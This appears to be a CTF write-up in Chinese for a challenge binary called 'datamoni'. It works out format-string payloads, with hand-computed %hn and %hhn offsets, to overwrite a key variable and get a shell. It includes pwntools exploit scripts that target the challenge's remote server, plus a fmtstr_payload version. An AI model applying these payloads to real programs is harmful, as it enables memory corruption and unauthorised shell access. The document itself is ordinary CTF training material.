格式化漏洞, 可以考虑任意地址读写, 将key修改为35795746, get shell
格式化字符串的第12个参数开始泄露, 并且key的位置是0x0804a048, 所以可以将该位置写为35795746 == 0x02223322, 按双字节写入
0x0222 = 546
0x3322 = 13090
546 - 8 = 538
13090 - 546 = 12544
payload = p32(key_addr + 2) + p32(key_addr) + b"%538c%12$hn" + b"%12544c%13$hn"
双字节写入调不通, 可能是栈空间不够, 尝试单字节写入
0x02 = 2
0x22 = 34
0x33 = 51
0x22 = 34
从低地址往高地址写
34 - 16 = 18
51 - 34 = 17
第三个数减出来是负数, 用进位被忽略来写入单字节 0x22 = 0x122 = 290
290 - 51 = 239
第四个同, 0x02 = 0x202 = 514 > 290
514 - 290 = 224
payload = p32(key_addr) + p32(key_addr + 1) + p32(key_addr + 2) + p32(key_addr + 3) + b"%18c%12$hhn" + b"%17c%13$hhn" + b"%239c%14$hhn" + b"%224c%15$hhn"
from pwn import *
context.log_level = "debug"
sel = 1
filename = "./datamoni"
URL, PORT = "111.200.241.244", 50573
io = process(filename) if sel == 0 else remote(URL, PORT)
key_addr = 0x0804a048
payload = p32(key_addr + 2) + p32(key_addr) + b"%538c%12$hn" + b"%12544c%13$hn"
# payload = p32(key_addr) + p32(key_addr + 1) + p32(key_addr + 2) + p32(key_addr + 3)
# payload += b"%18c%12$hhn" + b"%17c%13$hhn" + b"%239c%14$hhn" + b"%19c%15$hhn"
io.sendline(payload)
io.interactive()
总结
(1) 写格式字符串时, 漏了$, 所以双字节没调通, 加上之后也可以打通了
(2) 可以使用fmtstr, 不过对格式化漏洞的理解没帮助, 所以还是手算偏移更好, 不过要用fmtstr也行, 直接调用pwntools的fmtstr_payload(ith, {address: value})
from pwn import *
context.log_level = "debug"
sel = 1
filename = "./datamoni"
URL, PORT = "111.200.241.244", 50573
io = process(filename) if sel == 0 else remote(URL, PORT)
key_addr = 0x0804A048
payload = fmtstr_payload(12,{key_addr:35795746})
io.sendline(payload)
io.interactive()